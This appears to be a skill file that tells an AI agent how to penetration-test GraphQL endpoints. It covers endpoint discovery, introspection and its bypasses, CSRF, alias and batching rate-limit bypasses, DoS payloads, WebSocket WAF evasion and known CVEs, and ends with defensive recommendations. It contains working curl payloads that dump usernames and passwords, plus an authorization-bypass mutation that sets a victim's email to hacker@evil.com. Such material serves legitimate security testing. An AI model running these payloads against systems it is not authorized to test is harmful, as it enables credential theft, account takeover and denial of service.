| name | graphql-pentest |
| description | Security testing for GraphQL endpoints. Use this skill whenever you need to test GraphQL APIs for vulnerabilities, enumerate schemas, detect exposed endpoints, or assess security configurations. Trigger this skill for any GraphQL security assessment, penetration testing, or API security review involving GraphQL endpoints. |
GraphQL Security Testing
A comprehensive skill for security testing GraphQL endpoints, from initial discovery through vulnerability assessment.
Quick Start
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query": "{__typename}"}' https://target.com/graphql
Workflow
1. Discovery and Fingerprinting
Find GraphQL endpoints by testing common paths:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
Fingerprint the GraphQL engine using graphw00f:
pip install graphw00f
graphw00f https://target.com/graphql
This identifies the backend (Apollo, GraphQL-Java, async-graphql, etc.) which helps prioritize known vulnerabilities.
2. Introspection Enumeration
Check if introspection is enabled:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{__schema{types{name}}}"}' https://target.com/graphql
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}"}' https://target.com/graphql
Use the bundled script for automated introspection:
./scripts/graphql-introspect.sh https://target.com/graphql
Visualize the schema with GraphQL Voyager if introspection is enabled.
3. Test Error Handling
Check if errors leak sensitive information:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{}"}' https://target.com/graphql
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{thisdefinitelydoesnotexist}"}' https://target.com/graphql
Verbose errors can reveal schema details, field names, and internal logic.
4. Query Enumeration
Identify queryable objects from the schema. Look for queryType in introspection results.
Extract data by querying exposed fields:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{flags{name,value}}"}' https://target.com/graphql
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{user(uid:1){username,password}}"}' https://target.com/graphql
Search for empty string bypass - some APIs dump all data when searching with empty strings:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{theusers(description:""){username,password}}"}' https://target.com/graphql
5. Mutation Testing
Find mutations in the schema (look for mutationType in introspection).
Test mutation operations:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "mutation{addMovie(name:\"Test\",rating:\"5.0/10\",releaseYear:2024){name,rating}}"}' https://target.com/graphql
Test authorization bypass - try modifying other users' data:
curl -X POST -H "Content-Type: application/json" \
-d '{"operationName":"updateProfile","variables":{"username":"victim","data":{"email":"hacker@evil.com"}},"query":"mutation updateProfile($username:String!,$data:ProfileInput!){updateProfile(username:$username,data:$data){id}}"}' https://target.com/graphql
6. Bypass Introspection Defenses
If introspection is blocked, try these bypasses:
Add whitespace/newlines after __schema:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "query{__schema\n{queryType{name}}}"}' https://target.com/graphql
Try GET requests:
curl -s "https://target.com/graphql?query={__schema{types{name}}}"
Try form-urlencoded POST:
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d 'query={__schema{types{name}}}' https://target.com/graphql
Use schema reconstruction tools:
- Clairvoyance - Reconstructs schema from error messages
- GraphQuail - Burp extension that builds schema from observed queries
- InQL - Advanced GraphQL testing with schema bruteforcing
7. Test for Common Vulnerabilities
CSRF - Test if form-urlencoded POST is accepted without CSRF tokens:
cat > csrf_test.html << 'EOF'
<form action="https://target.com/graphql" method="POST">
<input type="hidden" name="query" value='{"mutation":"addMovie(name:\"Hacked\",rating:\"1/10\")"}'>
</form>
EOF
Rate limit bypass with aliases:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "query{check1:isValidDiscount(code:1){valid}check2:isValidDiscount(code:2){valid}check3:isValidDiscount(code:3){valid}}"}' https://target.com/graphql
Batching attacks - Send multiple queries in one request:
curl -X POST -H "Content-Type: application/json" \
-d '[{"query":"{__typename}"},{"query":"{__typename}"},{"query":"{__typename}"}]' https://target.com/graphql
8. DoS Testing
Use the bundled script to generate DoS payloads:
./scripts/graphql-dos-payloads.sh
Alias overloading - Repeat fields with aliases:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{a1:__typename a2:__typename a3:__typename ...}"}' https://target.com/graphql
Directive overloading - Repeat directives:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{__typename @include(if:true) @include(if:true) @include(if:true)}"}' https://target.com/graphql
Field duplication - Repeat the same field:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{__typename __typename __typename ...}"}' https://target.com/graphql
9. WebSocket Testing
Check for GraphQL over WebSocket which might bypass WAF:
ws = new WebSocket("wss://target.com/graphql", "graphql-ws")
ws.onopen = function() {
ws.send(JSON.stringify({
type: "GQL.START",
id: "1",
payload: {
query: "{__schema{types{name}}}"}
}))
}
10. Check for Known CVEs
After fingerprinting, check for known vulnerabilities:
| CVE | Affected | Test |
|---|
| CVE-2024-47614 | async-graphql < 7.0.10 | Directive overload with @include |
| CVE-2024-40094 | graphql-java < 19.11 | Recursive fragment bypass |
| CVE-2023-23684 | WPGraphQL ≤ 1.14.5 | SSRF via createMediaItem mutation |
Tools
Essential tools for GraphQL testing:
Defensive Recommendations
For developers securing GraphQL endpoints:
- Disable introspection in production
- Implement rate limiting per IP and per user
- Use CSRF tokens for all mutations
- Validate and sanitize all inputs
- Implement query depth/complexity limits
- Use graphql-armor middleware for automatic protection
- Enable proper authentication and authorization
- Log and monitor for unusual query patterns
References